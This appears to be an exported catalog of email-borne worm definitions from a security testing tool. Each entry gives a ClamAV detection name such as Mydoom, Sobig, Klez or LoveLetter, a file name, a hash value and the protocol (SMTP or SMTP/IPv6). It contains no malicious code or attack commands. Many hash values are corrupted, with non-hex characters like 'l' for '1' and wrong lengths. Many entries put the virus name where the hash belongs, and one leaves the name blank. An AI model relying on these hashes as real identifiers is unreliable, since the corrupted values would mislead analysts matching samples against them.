Detailed Description:	This is the email virus Worm.Energy.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aaa73660bb157876f3fffe9d023197c6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Sucon.c.c.6c4eac16.xml
Executive Description:	Email Virus Email-Worm.Win32.Sucon.c.c
Detailed Description:	This is the email virus Worm.Win32.Sucon.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Sucon.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vote.87812683.xml
Executive Description:	Email Virus Worm.Vote
Detailed Description:	This is the email virus Worm.Vote as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 878126839b33ed82f8826ae5fdece0a0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.92921e24_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 92921e24c9efc5ea8fbc95717615adfc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihililit.h.h.c17513bd_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihililit.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nihililit.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihililit.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.X.2eaf40e4.xml
Executive Description:	Email Virus Worm.SomeFool.X
Detailed Description:	This is the email virus Worm.SomeFool.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2eaf40e4458668823f0c522ec6f537b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.A.35bcabb6.xml
Executive Description:	Email Virus VBS.LoveLetter.A
Detailed Description:	This is the email virus VBS.LoveLetter.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35bcabb64ff7632d040e4bbb87f4e34b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Avron.b.b.c80e8ea9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Avron.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Avron.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Avron.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vote.b.89becel15_IPv6.xml
Executive Description:	Email Virus Worm.Vote.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vote.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 89becel15189374fa94cf33ceale0543a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Taripox.b.b.a2243e18_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Taripox.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Taripox.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Taripox.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BAT.Ioana.A.e951c265_IPv6.xml
Executive Description:	Email Virus Worm.BAT.Ioana.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.BAT.Ioana.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e951c265d6362769b94f669eb578e3f9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Alcaul.ah.ah.22977b85.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.ah.ah
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.ah.ah as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.ah.ah. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.j.j.a304cdfd_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.j.j (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.j.j as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.j.j. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nimrod.a.a.5ca2b790.xml
Executive Description:	Email Virus Email-Worm.Win32.Nimrod.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Nimrod.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nimrod.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Music.B.39e25a38.xml
Executive Description:	Email Virus Worm.Music.B
Detailed Description:	This is the email virus Worm.Music.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39e25a383ddd659b68cb2cb7b9234ff6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.4d878250.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d878250606406226aff249feabac216. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.FlyingV.A.1.42f6071b.xml
Executive Description:	Email Virus Worm.FlyingV.A.1
Detailed Description:	This is the email virus Worm.FlyingV.A.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42f6071b6bd75d17c1fffd699fafaefda. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Bizon.biz.6100093b_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.Bizon.biz (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.Bizon.biz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Bizon.biz. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Elva.1.3015e4c6.xml
Executive Description:	Email Virus VBS.Elva.1
Detailed Description:	This is the email virus VBS.Elva.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3015e4c6cb6f8a33dd70e3ca7637f675. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Propec.B.f32a0ced_IPv6.xml
Executive Description:	Email Virus Worm.Propec.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Propec.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f32a0ced79de0b18d2d269f14eacf4e1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.h.863c53a5.xml
Executive Description:	Email Virus Worm.Brit.h
Detailed Description:	This is the email virus Worm.Brit.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 863c53a5a9f7439c170c4615308f24f7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Pics.76a3ab4c_IPv6.xml
Executive Description:	Email Virus Worm.Pics (IPv6 Version)
Detailed Description:	This is the email virus Worm.Pics as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 76a3ab4cclac6a8e9cb94e697053760b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Email-Worm.BAT.BWG.e.e.04e84f95.xml
Executive Description:	Email Virus
Detailed Description:	This is the email virus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.BWG.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Doggy.5e3c0lee.xml
Executive Description:	Email Virus Worm.Doggy
Detailed Description:	This is the email virus Worm.Doggy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e3c0lee1471f28ab9a03809f19c3717. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Abodus.abo.fe02a495.xml
Executive Description:	Email Virus Email-Worm.Win32.Abodus.abo
Detailed Description:	This is the email virus Email-Worm.Win32.Abodus.abo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Abodus.abo. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mountoni.3fa8d63c_IPv6.xml
Executive Description:	Email Virus Worm.Mountoni (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mountoni as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3fa8d63cblee3e8855b41bfd4ef71549. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.q.q.a9548bb5_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.q.q (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.q.q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.q.q. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.eafe6fd6_IPv6.xml
Executive Description:	Email Virus W32.Worm.Choke (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eafe6fd6451ffe718d94aa9fd48bc5f5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Rays.A.01aefd7c.xml
Executive Description:	Email Virus Worm.Rays.A
Detailed Description:	This is the email virus Worm.Rays.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 01aefd7cd0168b1589c4e567d9cfcb36. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Merlin.8ec48842.xml
Executive Description:	Email Virus Worm.Merlin
Detailed Description:	This is the email virus Worm.Merlin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ec48842fe9c44557f7eb9f545237064. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.C4.2b125d4f.xml
Executive Description:	Email Virus VBS.PicaWorm.C4
Detailed Description:	This is the email virus VBS.PicaWorm.C4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b125d4f86703clcf41d318e29379cb6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.DK.086805a8_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.DK (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.DK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 086805a86002acca02ddd53ecacil266. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sobig.C.6ffabb00_IPv6.xml
Executive Description:	Email Virus Worm.Sobig.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sobig.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6ffabb00d059b6c4656ea20948ab42be. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.c4b35f89_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c4b35f89d87b2dbcd02f4d8e96d755ac. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Saje.f40f5149_IPv6.xml
Executive Description:	Email Virus VBS.Saje (IPv6 Version)
Detailed Description:	This is the email virus VBS.Saje as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f40f514931029d09f7f2f2f751f10d1b59. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Craytron.3b9695f2_IPv6.xml
Executive Description:	Email Virus Worm.Craytron (IPv6 Version)
Detailed Description:	This is the email virus Worm.Craytron as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3b9695f2c1a93a82391660711223129e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.I.7b68f330.xml
Executive Description:	Email Virus Worm.Mydoom.I
Detailed Description:	This is the email virus Worm.Mydoom.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7b68f330303afc2e37d21f63ef2e5429. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Anset.A.f3aeaa6a.xml
Executive Description:	Email Virus Worm.Anset.A
Detailed Description:	This is the email virus Worm.Anset.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f3aeaa6a234836dc4608307baee42408. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.BWG.b.b.a397c393_IPv6.xml
Executive Description:	Email Worm Email-Worm.BAT.BWG.b.b.a397c393 (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.BAT.BWG.b.b.a397c393 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a397c3938e7b6e7ed3aa37ala85c5158. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Choke.1.ed9a8cd4.xml
Executive Description:	Email Virus Worm.Choke.1
Detailed Description:	This is the email virus Worm.Choke.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ed9a8cd4db8e74214d59742d95ae2314. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Tireg.a.a.0496f87f.xml
Executive Description:	Email Virus Email-Worm.VBS.Tireg.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Tireg.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Tireg.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Thea.926afa95_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Thea (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Thea as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 926afa955166fb4dda495eed9fa7331b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mari.b.6513e97c_IPv6.xml
Executive Description:	Email Virus Worm.Mari.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mari.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6513e97cffb6656fd7b5a29859fe47d3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.f.f.58dd01c1.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.f.f

Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.f.f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	JS.Wobbler.A.7f818c2d.xml
Executive Description:	Email Virus JS.Wobbler.A
Detailed Description:	This is the email virus JS.Wobbler.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7f818c2d707b9562c66aa1e86e1799e2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.F.a9cf6301.xml
Executive Description:	Email Virus Worm.Mydoom.F
Detailed Description:	This is the email virus Worm.Mydoom.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a9cf630193c5d29b1238a98e68f25ba3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sobig.E.d3a8b3dc_IPv6.xml
Executive Description:	Email Virus Worm.Sobig.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sobig.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d3a8b3dcde44b81c0e69cc2a8a36e844. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Morbex.mor.c5496dd6.xml
Executive Description:	Email Virus Email-Worm.Win32.Morbex.mor
Detailed Description:	This is the email virus Email-Worm.Win32.Morbex.mor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Morbex.mor. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Seliz.36e29c1e_IPv6.xml
Executive Description:	Email Virus Worm.Seliz (IPv6 Version)
Detailed Description:	This is the email virus Worm.Seliz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36e29c1eb952ec004ba18e7b848a136d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.k.k.c8fc670e.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.k.k
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.k.k. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.b.b.9b33ab9e_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Rowam.C.7d811834_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Rowam.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Rowam.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7d811834cb39bb6c9f5b5aab7e482c33. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.cebfb93.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cebfb9369f1936dda0e84bb03107bde. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.ProLin.65eeb8a0_IPv6.xml
Executive Description:	Email Virus W32.ProLin (IPv6 Version)
Detailed Description:	This is the email virus W32.ProLin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65eeb8a0fce412d7f236f8348357d1c0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.M.d8d9ebce_IPv6.xml

Executive Description:	Email Virus Worm.Mydoom.M (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d8d9ebce2ff9f94ee0855c0d3e756049. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Newman.89d7b360.xml
Executive Description:	Email Virus Worm.Newman
Detailed Description:	This is the email virus Worm.Newman as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 89d7b360be467311a9be2ble8ff9fde8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IFeel.15ec2d19.xml
Executive Description:	Email Virus Worm.IFeel
Detailed Description:	This is the email virus Worm.IFeel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 15ec2d19865215727bfbcbff39be6382f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BR.dd079200_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BR (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dd079200eca53f7e4fb0097ba5f3c667. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.D.0e882bb7.xml
Executive Description:	Email Virus VBS.PicaWorm.D
Detailed Description:	This is the email virus VBS.PicaWorm.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e882bb79c5797d83375ec37bdfdc7f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.0c8e034e_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c8e034eb3651a4a8199dda65c2fbfe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Davinia.dav.ee28f7d0_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Davinia.dav (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Davinia.dav as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Davinia.dav. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.X.6506075d.xml
Executive Description:	Email Virus Worm.Lovgate.X
Detailed Description:	This is the email virus Worm.Lovgate.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6506075de6070dabdd807048f44052f5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Youdgos.a.c04b062b.xml
Executive Description:	Email Virus Worm.Youdgos.a
Detailed Description:	This is the email virus Worm.Youdgos.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c04b062b5dc251b26abec57fb180df92. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Injust.2f9f8d89.xml
Executive Description:	Email Virus Worm.Injust
Detailed Description:	This is the email virus Worm.Injust as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2f9f8d89613dd052475bd9aec8bb186b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.9a6ae361.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a6ae3612ff7ca051c7b828087ef73a9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Povgon.b.b.7ca80937_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Povgon.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Povgon.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Povgon.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-1.6f49434d.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-1
Detailed Description:	This is the email virus Worm.SomeFool.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f49434d7e4532520372a4721a7a9aec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Rsp.08035791_IPv6.xml
Executive Description:	Email Virus VBS.Rsp (IPv6 Version)
Detailed Description:	This is the email virus VBS.Rsp as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08035791776d2d4702c52c6bd60b03b3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Funny.8a0f69cb_IPv6.xml
Executive Description:	Email Virus Worm.Funny (IPv6 Version)
Detailed Description:	This is the email virus Worm.Funny as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8a0f69cblc54563c12d381b6ec21820c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Deberia.deb.9e60ebcb_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Deberia.deb (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Deberia.deb as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Deberia.deb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Craytron.3b9695f2.xml
Executive Description:	Email Virus Worm.Craytron
Detailed Description:	This is the email virus Worm.Craytron as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3b9695f2cla93a82391660711223129e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.9138c146_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9138c146aabc2a90f0a86163eb2faa5e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Loding.b.5f196b52_IPv6.xml
Executive Description:	Email Virus Worm.Loding.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Loding.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f196b528a0f06e00f46432c0b051858. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.JS.Startpage.C.8bb9e14d_IPv6.xml
Executive Description:	Email Virus Trojan.JS.Startpage.C (IPv6 Version)
Detailed Description:	This is the email virus Trojan.JS.Startpage.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8bb9e14d6823980c5741b3f20e8b0f91. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Silly.b.b.763748e3_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Silly.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Silly.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Silly.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.k.k.c8fc670e_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.k.k (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.k.k. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Email-Worm.DOS.Heybro.hey.6634551b_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Heybro.hey (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Heybro.hey as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Heybro.hey. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Brit.g.g.63217616.xml
Executive Description:	Email Virus Email-Worm.VBS.Brit.g.g
